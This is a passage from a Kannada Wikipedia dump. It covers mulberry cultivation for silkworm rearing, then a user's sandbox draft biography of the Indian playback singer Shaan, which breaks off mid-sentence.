ಬಾರಿ ನೀರುಹಾಯಿಸುವುದು ಸಾಮಾನ್ಯ. ಆಗಾಗ್ಗೆ ಮಧ್ಯಂತರ ಸಾಗುವಳಿ ಮಾಡಿ ಕಳೆ ಕೀಳುವುದು ಅಗತ್ಯ. ಸಸಿಮಾಡಿ ಉಪ್ಪುನೇರಳೆ ಬೆಳೆಸುವುದು ದುಬಾರಿಯಾದರೂ ಎಲೆ ಇಳುವರಿ ಹೆಚ್ಚು: ಹಾಗೆಯೇ ಗುಣವೂ ಉತ್ತಮ. ಈ ಕಾರಣದಿಂದ ಸಸಿಯಿಂದ ಬೆಳೆಸಿದ ತೋಟಗಳು ಇತ್ತೀಚಿನ ದಿವಸಗಳಲ್ಲಿ ಹೆಚ್ಚಾಗುತ್ತಿವೆ. ಸಸಿಗಳನ್ನು ಪಾತಿಯಲ್ಲಿ ಬೆಳೆಸಿ 4"-6" ಎತ್ತರ ಬಂದಾಗ ಗುಳಿಗಳಿಗೆ ಸಾಗಿಸುತ್ತಾರೆ. ಗುಳಿಗಳ ಮಧ್ಯದ ಅಂತರ 2"-2.5'. ಉಪ್ಪು ನೇರಳೆ ಪೋದೆಗಳನ್ನು ಬೀಜ ಬಿತ್ತಿ ನೇರವಾಗಿ ಬೆಳೆಸುವುದು ಸಾಧ್ಯ. ಇವು ಕಸಿ ಮಾಡಿದ ಸಸಿಯಿಂದ ಬೆಳೆಸಿದ ಗಿಡಕ್ಕಿಂತ ಹೆಚ್ಚು ಬೇರು ಬಿಡುವುದು ಕಂಡುಬಂದಿದೆ. ಜಪಾನಿನಲ್ಲಿ ಈ ರೀತಿಯ ಕೃಷಿ ವ್ಯಾಪಕ, ಭಾರತದಲ್ಲೂ ಇದರ ಅನುಸರಣೆಯಿಂದ ಇಳುವರಿ ಹೆಚ್ಚಿಸುವ ಕೆಲಸ ನಡೆದಿದೆ. ಜಪಾನಿನಿಂದ ಆಮದುಮಾಡಿದ ಕಸಿ ಕೊಂಬೆಯನ್ನು ಸ್ಥಳೀಯ ಉಪ್ಪು ನೇರಳೆ ಗಿಡದೊಡನೆ ಸೇರಿಸಿ ತಳಿ ವೃದ್ಧಿ ಮಾಡುವ ಪ್ರಯತ್ನ ಸಹ ನಡೆಯುತ್ತಿದೆ. ಉಪ್ಪುನೇರಳೆ ಮರವನ್ನೂ ಪೊದೆಯಂತೆ ತುಂಡನ್ನು ನೆಟ್ಟು ಬೆಳೆಸಬಹುದು. ಗಿಡ ನೇರವಾಗಿ ಲಂಬವಾಗಿರುವಂತೆ ರೆಂಬೆಗಳನ್ನು ಕತ್ತರಿಸಿ ಬೆಳೆಸಿ ಒಂದು ವರ್ಷದ ಅನಂತರ ಗುಳಿಗಳಲ್ಲಿ ನೆಡುತ್ತಾರೆ. ಉಪ್ಪುನೇರಳೆ ಮರವನ್ನು ಪಾತಿಯಲ್ಲಿ ಬೆಳೆಸಿದ ಸಸಿಯಿಂದ ಎಬ್ಬಿಸುವುದು ಅನುಕೂಲ. ಮೊದಲನೆಯ ಪಾತಿಯಿಂದ ಸಸಿ 4' ಬೆಳೆದ ಮೇಲೆ ಇನ್ನೊಂದು ಪಾತಿಗೆ ಸಾಗಿಸಿ ಅಲ್ಲಿ 6' ಎತ್ತರಕ್ಕೆ ಬೆಳೆಸಿ ಪಕ್ಕದ ರೆಂಬೆಗಳನ್ನು ಕಡಿದು ಹೊಲದ ಗುಳಿಗಳನ್ನು ಸಾಗಿಸುತ್ತಾರೆ. [[File:Silkworm mulberry tree zetarra marugatze arbolean3.JPG|thumb|right|A silkworm, ''[[Bombyx mori]]'', feeding on a mulberry tree]] ==ಗಿಡ ಸವರುವುದು ಮತ್ತು ಎಲೆಕೊಯ್ಲು== ಕಾಲಕಾಲಕ್ಕೆ ಪೈರಿನಿಂದ ಎಲೆ ಬಿಡಿಸಿಕೊಳ್ಳುವುದರಲ್ಲಿ ಉಪ್ಪುನೇರಳೆ ಮರವನ್ನು ಮತ್ತು ಪೊದೆಯನ್ನು ನಿಯತಕಾಲಕ್ಕೆ ಸವರುವುದು ಅತ್ಯಾವಶ್ಯಕ. ಸುಮಾರು 10 ವಾರದ ಹೊತ್ತಿಗೆ ನೀರು ಕೊರತೆ ಇಲ್ಲದಿದ್ದರೆ ಗಿಡ 3'-4' ಎತ್ತರ ಬೆಳೆಯುತ್ತದೆ. ಆಗ ಮೊದಲ ಬಾರಿಗೆ ಎಲೆ ಕೊಯ್ಯುವುದು ಸಾಧ್ಯ. ಹೊಲದ ಬೆಳೆಯಾದರೆ 4 ತಿಂಗಳಲ್ಲಿ ಎಲೆ ಕೊಯ್ಲಿಗೆ ಬರುತ್ತದೆ. ವರ್ಷಕ್ಕೆ 8-10 ಸಲ ಎಲೆ ಬಿಡಿಸಿಕೊಳ್ಳಬಹುದು. ಪ್ರತಿ ವರ್ಷ ಗಿಡವನ್ನು ನೆಲದ ಮಟ್ಟಕ್ಕೆ ಕತ್ತರಿಸುತ್ತಾರೆ. ರೇಷ್ಮೆ ಹುಳ ಬೆಳೆಸುವ ಕಾಲಕ್ಕೆ ಮೊದಲು ಗಿಡ ಸವರುವುದು ವಾಡಿಕೆ. ಪ್ರತಿಸಾರಿ ಗಿಡ ಸವರಿದ ಮೇಲೆ ಭೂಮಿ ಕೃಷಿಮಾಡಿ ಗೊಬ್ಬರ ಕೊಡುತ್ತ್ತಾರೆ. ಕುಡಿ ಒಡೆದು ಸಮೃದ್ಧಿಯಾಗಿ ಎಲೆ ಹೊರ ಬರುತ್ತದೆ. 5-6 ವಾರಗಳಲ್ಲಿ ಎಲೆ ಕೊಯ್ಯುವುದು ಸಾಧ್ಯ. ಎಲೆ ಬಿಡಿಸುವುದಕ್ಕೆ ಯುಕ್ತ ಸಮಯ ಸಂಜೆ. ಕೊಯ್ದ ಎಲೆಯನ್ನು ಸಡಿಲವಾಗಿ ಗುಡ್ಡೆ ಮಾಡುತ್ತಾರೆ. ಅವಶ್ಯವಿದ್ದರೆ ನೆನೆÀಸಿದ ಗೋಣಿ ಇಲ್ಲವೆ ಬಟ್ಟೆ ತೂಗುಹಾಕಿ ಕೋಣೆ ಶಾಖ ಏರುವುದನ್ನು ತಡೆಯುತ್ತಾರೆ. ಉಪ್ಪುನೇರಳೆ ಪೊದೆ 10-15 ವರ್ಷ ಫಲ ಕೊಡುತ್ತದೆ. ಅನಂತರ ಅದನ್ನು ತೆಗೆದು ಹೊಸಗಿಡ ನೆಡಬೇಕು. ಹಾಗೆ ಮಾಡುವುದಕ್ಕೆ ಮುಂಚೆ ಒಂದೆರಡು ರಾಗಿ ಅಥವಾ ಜೋಳದ ಬೆಳೆ ತೆಗೆದುಕೊಂಡರೆ ಒಳ್ಳೆಯದು. ==ಇಳುವರಿ== ಉಪ್ಪುನೇರಳೆ ಸೊಪ್ಪಿನ ಇಳುವರಿ ಮಣ್ಣಿನ ಗುಣ, ನೀರಿನ ಸೌಕರ್ಯ, ಗೊಬ್ಬರ, ಸಾಗುವಳಿ ಇವುಗಳನ್ನು ಅವಲಂಬಿಸಿದೆ. ಮೈಸೂರಿನಲ್ಲಿ ಹೊಲದ ಬೆಳೆಯ ಅವಧಿ ಒಂದು ವರ್ಷ. ಇಲ್ಲಿ ಎಕರೆ ಒಂದಕ್ಕೆ ಇಳುವರಿ 4000-7000ಪೌಂಡುಗಳು. ನೀರಾವರಿ ಇದ್ದಲ್ಲಿ 10,000-14,000 ಪೌಂಡುಗಳು. ==ಜಾತಿಗಳು== ಅನೇಕ ಜಾತಿಯ ಉಪ್ಪುನೇರಳೆ ಕೃಷಿಯಲ್ಲಿವೆ. ಜಪಾನಿನಲ್ಲಿ 7,000 ಜಾತಿಗಳಿದದ್ದು ಅವುಗಳಲ್ಲಿ ಸುಮಾರು 21ನ್ನು ವ್ಯಾಪಕವಾಗಿ ಬೆಳೆಸುತ್ತಾರೆ. ಭಾರತದಲ್ಲಿ ರೇಷ್ಮೆ ಹುಳುಗಳಿಗೆ ತಿನ್ನಿಸುವುದಕ್ಕೆ ಮಲ್ಟಿ ಕ್ಯಾಲಿಸ್ ಎಂಬ ಚೀನೀಜಾತಿಯ ಉಪ್ಪು ನೇರಳೆ ವ್ಯಾಪಕವಾಗಿ ಕೃಷಿಯಲ್ಲಿದೆ. ಆಟ್ರೋ-ಪರ್-ಪ್ಯುರಿಯ ಎಂಬ ಇನ್ನೊಂದು ಜಾತಿಯ ಚೀನೀ ತಳಿ ಸಹ ಹಲವೆಡೆ ಬಳಕೆಯಲ್ಲಿದೆ. ಇದನ್ನು ರಸ್ತೆ ಮತ್ತು ಜಮೀನಿನ ಅಂಚುಗಳಲ್ಲಿ ಬೆಳೆಸುವುದು ಸಾಮಾನ್ಯ. ಮೈಸೂರಿನಲ್ಲಿ ತಳಿ ಅಭಿವೃದ್ದಿ ಕೆಲಸ ಅಷ್ಟಾಗಿ ಆಗಿಲ್ಲ. ಬಂಗಾಳದಲ್ಲಿ ಹೊರತಂದ KM-1, ಸ್ಥಳೀಯ ತಳಿಗಳಿಗಿಂತ ಹೆಚ್ಚು ಇಳುವರಿ ಕೊಡುವುದು ಕಂಡುಬಂದಿದೆ. ಕೊಳ್ಳೆಗಾಲದ ಪ್ರದೇಶದಲ್ಲಿ ಇದನ್ನು ಕಸಿ ಮಡುವುದಕ್ಕೆ ಉಪಯೋಗಿಸುತ್ತಾರೆ. ಮೈಸೂರಿನಲ್ಲಿ ಹೊರತಂದ S-I ಮತ್ತು S-Vತಳಿಗಳು ಹೆಚ್ಚು ಇಳುವರಿ ಕೊಡುವುದು ಕಂಡುಬಂದಿದೆ. ==ಗೊಬ್ಬರ== ಮೇಲೆ ಹೆಳಿದಂತೆ ಉಳುಮೆ ಮಾಡುವಾಗ ಮಣ್ಣಿನ ಸೆಪ್ಪೆ ಕಾಪಾಡಿ ಫಲವತ್ತನ್ನು ಉಳಿಸುವ ದೃಷ್ಟಿಯಿಂದ ಎಕರೆಗೆ 15-20 ಗಡಿ ಕೊಟ್ಟಿಗೆ ಗೊಬ್ಬರ ಕೊಡುವುದು ಅಗತ್ಯ. ಇದರ ಜೊತೆಗೆ ಸುಮಾರು ವರ್ಷಕ್ಕೆ 60 ಪೌಂಡ್ ಸಾರಜನಕ ಒದಗುವಷ್ಟು ಅಮೊನಿಯಂ ಸಲ್ಫೇಟ್ ಇಲ್ಲವೆ ಯಾಲ್ಸಿಯಂ ಅಮೊನಿಯಂ ನೈಟ್ರೇಟ್ ಕೊಡಬಹುದು. ತಲಾ 20 ಪೌಂಡ್ ರಂಜಕ ಮತ್ತು ಪೊಟ್ಯಾಷ್ ಸಹ ಕೊಡುವುದು ಅಗತ್ಯ. ಗೊಬ್ಬರಗಳನ್ನು ಸಮಭಾಗ ಮಾಡಿ ಸೇರಿಸಬೇಕು. ನೀರಾವರಿ ಬೆಳೆಗೆ ವರ್ಷಕ್ಕೆ 150 ಪೌಂಡ್ ಸಾರಜನಕ, 50 ಪೌಂಡ್ ರಂಜಕ, 150 ಪೌಂಡ್ ಪೊಟ್ಯಾಷ್ ಸಮಭಾಗ ಮಾಡಿ ಪ್ರತಿಸಾರಿ ಎಲೆಕೊಯ್ದ ಮೇಲೆ ಕೊಡುವುದು ಅಗತ್ಯ. ರೋಗ ರುಜಿನಗಳು: ಎಲೆಗಳನ್ನು ಬೂದಿರೋಗ ತೀವ್ರವಾಗಿ ನಾಶಪಡಿಸುತ್ತದೆ. ಎಲೆಗಳ ತಳಭಾಗದಲ್ಲಿ ಒಂದು ರೀತಿಯ ಬಿಳಿಪುಡಿ ಶೇಖರಣೆಯಾಗಿ ಎಲೆ ವಿಕಾರವಾಗಿ ಮುದುರಿಕೊಂಡು ಒಣಗಿ ಸತ್ತುಹೋಗುತ್ತದೆ. ಗಂಧಕದ ಪುಡಿಯನ್ನು ಎಕರೆಯೊಂದಕ್ಕೆ 15 ಪೌಂಡಿನಂತೆ ಸಿಂಪಡಿಸಿ ರೋಗವನ್ನು ತಡೆಗಟ್ಟುವುದು ಸಾಧ್ಯ. ದುಕೆರೋಗ ಇನ್ನೊಂದು ಉಪದ್ರವ. ಕೋನಾಕಾರದ ಕೆಂಪು ಚುಕ್ಕೆ ಪ್ರಾರಂಭವಾಗಿ ಗಂಟು ರೂಪುಗೊಂಡು ಎಲೆ ಉದುರಿಹೋಗುತ್ತದೆ. ಬೋರ್ಡೋ ದ್ರಾವಣ ಸಿಂಪಡಿಸಿ ಈ ರೋಗದ ತೀವ್ರತೆಯನ್ನು ಕಡಿಮೆ ಮಾಡಬಹುದು. ಮತ್ತೊಂದು ರೋಗ ಕಾಂಡದ ಕೊಳೆ. ಈ ಶಿಲೀಂದ್ರ ಕಾಂಡ ಮತ್ತು ರೆಂಬೆಗಳಿಗೆ ತಗಲಿ ಅವು ಒಣಗುತ್ತವೆ. ಇಂಥ ಭಾಗಗಳನ್ನು ಕತ್ತರಿಸಿ ರೋಗ ಹರಡುವುದುನ್ನು ತಪ್ಪಿಸುವುದು ಸಾಧ್ಯ. ಷೊನಿಯ ಎಂಬುದು ಉಪ್ಪುನೇರಳೆಗೆ ಬರುವ ಒಂದು ರೋಗ. ತುಕ್ಕು ಹಿಡಿದಂಥ ಕಂದು ಮಚ್ಚೆಗಳು ಎಲೆಗಳ ಮೇಲೆ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತವೆ. ಇಂಥ ಎಲೆಗಳಿಂದ ರೇಷ್ಮೆ ಹುಳುಗಳಿಗೆ ನಂಜಾಗುತ್ತದೆ. ==ಪೀಡೆಗಳು== ಉಪ್ಪುನೇರಳೆಗೆ ತುಕ್ರ ಎಂಬ ರೀತಿಯ ರೋಗ ಕೆಲವೆಡೆ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಇದರ ಲಕ್ಷಣ, ಸುರುಳಿ ಸುತ್ತಿ ಮುದುರಿಕೊಂಡ ಎಲೆಗಳು. ಇದು ಅಗ್ರ ಕುಡಿಗಳಲ್ಲಿ ಗೆಣ್ಣಿನ ಮಧ್ಯೆ ಹೆಚ್ಚಾಗಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಇದಕ್ಕೆ ಕಾರಕ ಕಾಂಡದಿಂದ ಮತ್ತು ಎಲೆ ತೊಟ್ಟಿನಿಂದ ಸಸ್ಯ ರಸ ಹೀರುವ ಒಂದು ಹುಳ. ನಿಕೋಟಿನ್ ಸಲ್ಫೇಟ್ ಸಿಂಪಡಿಕೆಯಿಂದ ಇದರ ಹಾವಳಿ ತಗ್ಗಿಸಬಹುದು. ಉದ್ದನೆ ಮೀಸೆ ದುಂಬಿ ಅಥವಾ ಕಾಂಡದ ಸುತ್ತ ಕೊರೆಯುವ ದುಂಬಿ ಉಪ್ಪು ನೇರಳೆಗೆ ಬೀಳುವ ಉಪದ್ರವಕಾರಿ ಕೀಟ. ಇದು ಬುಡದಲ್ಲಿ ಕಾಂಡವನ್ನು ಕೊರೆದು ಗಿಡವನ್ನು ಸಾಯಿಸುತ್ತದೆ. ಷಲ್ಕ ಕೀಟಗಳು (ಸ್ಕೇಲ್ಇನ್ಸೆಕ್ಟ್‌್ಸ) ಗಿಡದಿಂದ ರಸವನ್ನು ಹೀರಿ ತೊಂದರೆ ಉಂಟುಮಾಡುತ್ತವೆ. ಸೋಪಿನ ನೀರನ್ನು ಸಿಂಪಡಿಸಿ ಇವುಗಳ ಹಾವಳಿಯನ್ನು ಕಡಿಮೆಮಾಡಬಹುದು. ಕೊರೆಯುವ ಹುಳುಗಳು, ಚಿಪ್ಪಿನ ಹುಳುಗಳು, ಸಸ್ಯ ಹೇನುಗಳು, ನುಸಿ ಮುಂತಾದುವೂ ಉಪದ್ರವಕಾರಿ ಕೀಟಗಳು. ==ರಾಸಾಯನಿಕ ರಚನೆ ಮತ್ತು ಉಪಯೋಗ== {{nutritional value | name=Raw mulberries | water=87.68 g | kJ=179.912 | protein=1.44 | fat=0.39 | carbs=9.8 | fiber=1.7 | sugars=8.1 | calcium_mg=39 | iron_mg=1.85 | magnesium_mg=18 | phosphorus_mg=38 | potassium_mg=194 | sodium_mg=10 | zinc_mg=0.12 | manganese_mg= | opt1n= | opt1v= | vitC_mg=36.4 | thiamin_mg=0.029 | riboflavin_mg=0.101 | niacin_mg=0.62 | pantothenic_mg= | vitB6_mg=0.05 | folate_ug=6 | vitA_ug=1 | betacarotene_ug= | lutein_ug= | vitE_mg=0.87 | vitK_ug=7.8 | source_usda = 1 | note= [http://ndb.nal.usda.gov/ndb/foods/show/2324?fgcd=&manu=&lfacet=&format=&count=&max=35&offset=&sort=&qlookup=mulberry Link to United States Department of Agriculture Database entry] }} ಉಪ್ಪುನೇರಳೆ ಎಲೆಗಳನ್ನು ಮುಖ್ಯವಾಗಿ ರೇಷ್ಮೆಹುಳುಗಳಿಗೆ ಆಹಾರವಾಗಿ ಬಳಸುತ್ತಾರೆ. ಸೊಂಪಾಗಿ ಬೆಳೆದ ಎಲೆಗಳು ಹುಳುಗಳಿಗೆ ಉತ್ತಮ ಆಹಾರ, ಒಣ ಎಲೆಯಲ್ಲಿನ ವಿವಿಧ ವಸ್ತುಗಳ ಶೇಕಡ ಅಂಶ ಹೀಗಿರುತ್ತದೆ. ಪ್ರೋಟೀನ್:10.00-39.0, ಕರಗುವ ಶರ್ಕರ ಪಿಷ್ಟಾದಿಗಳು: 7.6-26.0 ಖನಿಜಾಂಶ: 8.0-17.0 ಸುಣ್ಣ: 0.7-2.7, ಕಬ್ಬಿಣ: 0.05-0.12, ರೇಷ್ಮೆಹುಳುಗಳಿಗೆ ಈ ಎಲೆಗಳು ಹೆಚ್ಚು ಅಪೇಕ್ಷಣೀಯ ಆಹಾರವಾಗುವುದಕ್ಕೆ ಕಾರಕ ಅಂಶಗಳು (i) ಸಿಟ್ರಾಲ್, ಲಿನಿಲೈಲ್ ಅಸಿಟೇಟ್, ಲಿನಲಾಲ್, ಟರ್ಪಿನೈಲ್ ಅಸಿಟೇಟ್ ಮತ್ತು ಹೆಕ್ಸನಾಲ್ ಇವು ಆಕರ್ಷಕ ಸಂಯುಕ್ತ ವಸ್ತುಗಳು. ಹುಳುಗಳು ಇವುಗಳಿಂದ ಆಕರ್ಷಿತವಾಗುತ್ತವೆ; (ii) ಃ-ಸಿಸ್ಟೋಸ್ಟೆರಾಲ್ ಮತ್ತು ಉಳಿದ ಕೆಲವು ಸ್ಟೆರಾಲ್ ವಸ್ತುಗಳು ಹುಳುಗಳು ಎಲೆಯನ್ನು ಕತ್ತರಿಸುವ ಕ್ರಿಯೆಯನ್ನು ಪ್ರಚೋದಿಸುತ್ತವೆ; (iii) ಮಿಥೈಲ್ ಆಲ್ಕೊಹಾಲಿನಲ್ಲಿ ಕರಗದಿರುವ ಮತ್ತು ನೀರಿನಲ್ಲಿ ಕರಗುವ ಎಲೆಗಳ ಭಾಗ ಹುಳುಗಳು ಎಲೆಯನ್ನು ಬಿಡುವಿಲ್ಲದೆ ತಿನ್ನುವ ಕ್ರಿಯೆಯನ್ನು ಪ್ರಚೋದಿಸುತ್ತದೆ. ಉಪ್ಪುನೇರಳೆ ಎಲೆಯನ್ನು ಕೆಲವು ವೇಳೆ ತರಕಾರಿಯಾಗಿ ಬಳಸುತ್ತಾರೆ. ದನಗಳಿಗೂ ಇದು ಉತ್ತಮವಾದ ಮೇವು. ಹಸುಗಳಿಗೆ ಇದನ್ನು ಮೇವಾಗಿ ನೀಡಿದಾಗ ಹಾಲು ವೃದ್ಧಿಯಾಗುವುದು ಕಂಡುಬಂದಿದೆ. ಹಣ್ಣನ್ನು ಹಾಗೆಯೇ ತಿನ್ನಬಹುದು. ರಸತೆಗೆದು ವಿವಿಧ ಪಾನೀಯಗಳನ್ನೂ ಮಾದಕದ್ರವ್ಯಗಳನ್ನೂ ತಯಾರಿಸುತ್ತಾರೆ. ಬೀಜದಿಂದ ಬಣ್ಣಗಳಿಗೆ ಬಳಸಬಹುದಾದ ಒಂದು ರೀತಿಯ ಎಣ್ಣೆ ತೆಗೆಯಬಹುದು, ಉಪ್ಪು ನೇರಳೆ ಮರ ಆವಿ ಕ್ರಿಯೆಗೆ ಒಳಪಡಿಸಿದ ಅನಂತರ ಹೆಚ್ಚಿನ ಮಟ್ಟದ ಸ್ಥಿತಿಸ್ಥಾಪಕ ಗುಣವನ್ನು ಪಡೆಕೊಳ್ಳುತ್ತದೆ. ಕ್ರಿಕೆಟ್, ಟೆನ್ನಿಸ್, ಹಾಕಿ ಮುಂತಾದ ಬ್ಯಾಟುಗಳ ತಯಾರಿಕೆಗೆ ಈ ಮರ ಬಹು ಉಪಯೋಗಕರ. ==ಉಲ್ಲೇಖಗಳು== {{reflist}} ==ಬಾಹ್ಯ ಸಂಪರ್ಕಗಳು== *[http://efloras.org/florataxon.aspx?flora_id=2&taxon_id=121220 Flora of China: ''Morus''] *[http://efloras.org/florataxon.aspx?flora_id=1&taxon_id=121220 Flora of North America: ''Morus''] *[http://www.plantnames.unimelb.edu.au/Sorting/Morus.html University of Melbourne: Sorting ''Morus'' names] *[http://mulberrytrees.co.uk/vegetative/ Propagation (growing) by vegetative method] *[http://mulberrytrees.co.uk/propagation/ Propagation (growing) by seed method] *[http://www.le-murier.com/images/garden/large/IMG_0486.JPG photo of 300-year-old Japanese mulberry ] *[http://www.silkgermplasm.com/ Central Sericultural Germplasm Resources Centre Ministry of Textiles Government of India] *[http://articles.timesofindia.indiatimes.com/2011-09-21/delhi/30184188_1_ficus-single-tree-replant Replant a mulberry tree, article from Times of India] {{Webarchive|url=https://archive.today/20130126041341/http://articles.timesofindia.indiatimes.com/2011-09-21/delhi/30184188_1_ficus-single-tree-replant |date=2013-01-26 }} {{Includes Wikisource|ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ವಿಶ್ವಕೋಶ/ಉಪ್ಪು ನೇರಳೆ}} [[ವರ್ಗ:ಸಸ್ಯಗಳು]] [[ವರ್ಗ:ಹಣ್ಣುಗಳು]] [[ವರ್ಗ:ವಾಣಿಜ್ಯ ಬೆಳೆಗಳು]] oucirtn1ou1p8o57msmkdr3205q8e6h ಸದಸ್ಯ:Prajithanr3/sandbox 2 80291 1116519 712779 2022-08-23T15:50:36Z Sourav Bapuli 68688 wikitext text/x-wiki '''ಶಾನ್{ಗಾಯಕ}''' [[ಚಿತ್ರ:Shaan.jpg|thumb|ಶಾನ್]] =='''ಆರ೦ಭಿಕ ಜೀವನ'''== ಶಾನ್, ಅವರ ಪೂರ್ಣ ಹೆಸರು ಶಾ೦ತನು ಮುಖರ್ಜೀ. ನಮ್ಮ ಭಾರತದ ಗಾಯಕರಲ್ಲಿ ಒಬ್ಬರು. ಇವರು ಹಿ೦ದಿ, ಬೆ೦ಗಾಲಿ, ಮರಾಠಿ, ಉರ್ದು, ತೆಲುಗು ಹಾಗೂ ಕನ್ನಡ ಚಿತ್ರಗಳಲ್ಲಿ ಹಿನ್ನೆಲೆಗಾಯನ ಹಾಡಿದ್ದಾರೆ. ಅಲ್ಲದೆ ಕಿರುತೆರೆಯ "ಸ ರಿ ಗ ಮ ಪ" ಲಿಟಲ್ ಚಾಮ್ಪ್ಸ್ ಹಾಗೂ ಸ್ಟಾರ್ ವಾಯ್ಸ್ ಆಫ್ ಇ೦ಡಿಯಾ ಶೋಗಳಲ್ಲಿ ನ್ಯಾಯಾಧೀಶರಾಗಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು.ಇವರ ಹಾದಿ ೧೯೮೯ನೇ ವರ್ಷದಲ್ಲಿ ಶುರುವಾಯಿತ್ತು. ಆಗ ಅವರಿಗೆ ಕೇವಲ ೧೭ನೇ ವರ್ಷ ವಯಸ್ಸು.<ref>http://www.hindustantimes.com/music/jeetey-hai-shaan-se/story-slpKzReaT0NGQiO0s7FRRI.html</ref>ಶಾನ್ ರವರು ೩೦-೯-೧೯೭೨ ರ೦ದು ಕಾನ್ಡ್ವ ಎ೦ಬ ಪ್ರದೇಶದಲ್ಲಿ ಜನಿಸಿದರು. ಅವರ ತ೦ದೆ ದಿ||ಮನಸ್ಸ್ ಮುಖರ್ಜೀ,ಸ೦ಗೀತ ನಿರ್ದೇಶಕರು ಹಾಗೂ ಅವರ ಅಜ್ಜ ಜಾಹರ್ ಮುಖರ್ಜೀ ಸಾಹಿತಿಗಾರ,ಶಾನ್ ರವರ ತ೦ಗಿ ಸಾಗರಿಕ-ಗಾಯಕಿ. ಶಾನ್ ೧೩ ವರ್ಷದ ಬಾಲಕ, ತ೦ದೆಯ ದೇಹ೦ತ್ಯವಾದನ೦ತರ ತಾಯಿಯ ಪ್ರೋತ್ಸಾಹದೊ೦ದಿಗೆ ಇವರು ಸ೦ಗೇತದ ಕ್ಷೇತ್ರದಲ್ಲಿ ಪ್ರವೇಶಿಸಿದರು.ಇವರನ್ನು ಸ೦ಗೀತದ ದಿಗ್ಗಜ ಎ೦ದು ದೇಶ-ವಿದೇಶಗಳಲ್ಲಿಯೂ ಜನಪ್ರಿಯ. =='''ಆರ೦ಭಿಕ ವರ್ಷಗಳು ಮತ್ತು ಹಿನ್ನೆಲೆ ಗಾಯನ'''== ಇವರು ಸ೦ಗೀತಕ್ಕಾಗಿಯೇ ಶ್ರಮಿಸಿದರು. "ಫನಾ" ಚಿತ್ರದ ಚಾ೦ದ್ ಸಿಫಾರಿಷ್ ಮತ್ತು "ಸಾವರಿಯಾ" ಚಿತ್ರದ ಜಬ್ಸೆತೆರೆ ನೈನ ಹಾಡಿಗೆ '''ಫಿಲ್ಮ್ ಫೇರ್ ಅವಾರ್ಡ್''' ಸಿಕ್ಕಿದೆ. ಇವರಿಗೆ [[ಹಿನ್ನೆಲೆ ಗಾಯನ|ಹಿನ್ನೆಲೆ ಗಾಯನಕಾಗಿ]] ಹಲವಾರು ಪ್ರಶಸ್ತಿಗಳು ದೊರೆತ್ತಿವೆ. ೨೦೦೦ ವರ್ಷದಲ್ಲಿ '''ಎ೦.ಟಿ.ವಿ ಏಷ್ಯ ಮ್ಯೂಸಿಕ್ ಪ್ರಶಸ್ತಿ'''. ಇವರ ಪ್ರಸಿದ್ದ ಆಲ್ಬಮ್ "ತನ್ಹಾದಿಲ್" ಮೆಚ್ಚಿಗೆಯನ್ನು ತ೦ದಿತ್ತು. ಕಿರುತೆರೆಯ ಸ೦ಗೀತ ನಿರ್ದೇಶಕರಾಗಿ "ಜೀ ಟಿ ವಿ" ಶೋನಲ್ಲಿ ದೊರೆತ್ತಿದೆ. ಇನ್ನೂ ಮು೦ತಾದ ಪ್ರಶಸ್ತಿಗಳು ಇವರ ಜೀವನಾಧಿಯಲ್ಲಿ ಬ೦ದಿವೆ.ಇವರು ಭಾರತದ ಗಾಯಕರಲ್ಲದೆ ಅ೦ತಾರಾಷ್ತ್ರೀಯ ಗಾಯಕರು ಹೌದು, ವಿಶ್ವ ಪ್ರಸಿದ್ದರಾಗಿ ಈಗಲೂ ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ. ಇವರು ಅ೦ತಾರಾಷ್ತ್ರೀಯ ಸಿನಿಮಾಗಳಾದ "ದ ಕ್ರೋನಿಕಲ್ ಆಫ್ ನೈನ","ದ ಲಯನ್","ದ ವಿಚ್" ಮತ್ತು "ದ ವರ್ಡಬ್" ಚಿತ್ರಗಳಲ್ಲಿ ಅಲೆ ಹಾಡುಗಳನ್ನು ರಚಿಸಿದ್ದಾರೆ. ರಾಷ್ರೀಯ ಹಾಗೂ ಅ೦ತಾರಾಷ್ತ್ರೀಯ ಮಟ್ಟದ ಭಾರತೀಯ ಗಾಯಕ ಎ೦ದು ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ೦ಗೀತದ ಜನಪ್ರೀಯ ದಿಗ್ಗಜ.ಶಾನ್ ನಟನೆಯಲ್ಲೂ ಪ್ರಸಿದ್ದ, ಇವರ ಕೆಲವು ಚಲನಚಿತ್ರಗಳು ಈಗಿವೇ, "ದಮನ್" "ಎ ವಿಕ್ಟಮ್ ಆಫ್ ಮೇರಿಟಲ್ ವೈಲೆನ್ಸ್", ರವೀನ ಟ೦ಡನ್ ಅಭಿನಯದ ಚಿತ್ರವಾಗಿತ್ತು. ಹಾಗೆಯೇ 'ಮಲೈಕ ಅರೋರ' ಹಾಗೂ 'ಬಿಪಾಷ ಬಾಸು' ನಟಿಯರ ಜೊತೆ ಸಹ ನಟಿಸಿದ್ದಾರೆ.ಕಿರುತೆರೆಯ ಮಧ್ಯಮದಲ್ಲಿ 'ಸ ರಿ ಗ ಮ ಪ' 'ಜೀ ಟಿ ವಿ'ಯಲ್ಲಿ ೨೦೦೦-೨೦೦೬ ಸತತವಾಗಿ ಆರು ವರ್ಷ ಸ೦ಗೀತದ ಅಲೆ ಹುಚ್ಚು ಎಬ್ಬಿಸಿದ ಭಾರತದ ಒ೦ದು ಪ್ರಸಿದ್ದವಾದ ಗಾಯಕ, ಹಾಗೇ ೨೦೦೩ರಲ್ಲಿ '''ಇ೦ಡಿಯನ್ ಟೆಲಿ ಅವಾರ್ಡ್''' ಶೋನಲ್ಲೂ ಭಾಗವಯಿಸಿದರು.ಇದಕ್ಕೆ ಪ್ರಶಸ್ತಿ ವಾಹಿನಿಯಿ೦ದ ದೊರೆಯಿತು. ಸ೦ಗೀತ ನಿರ್ದೇಶಕರಾಗಿ ಹಲವಾರು ಶೋಗಳಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುತ್ತಿದ್ದಾರೆ, ''"ಉದಾ:ಅ೦ತಾಕ್ಷರಿ".'' =='''ಇತರ ಯೋಜನೆಗಳು'''== ಶಾನ್ ರವರ ಧ್ವನಿ ಕನ್ನಡ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ 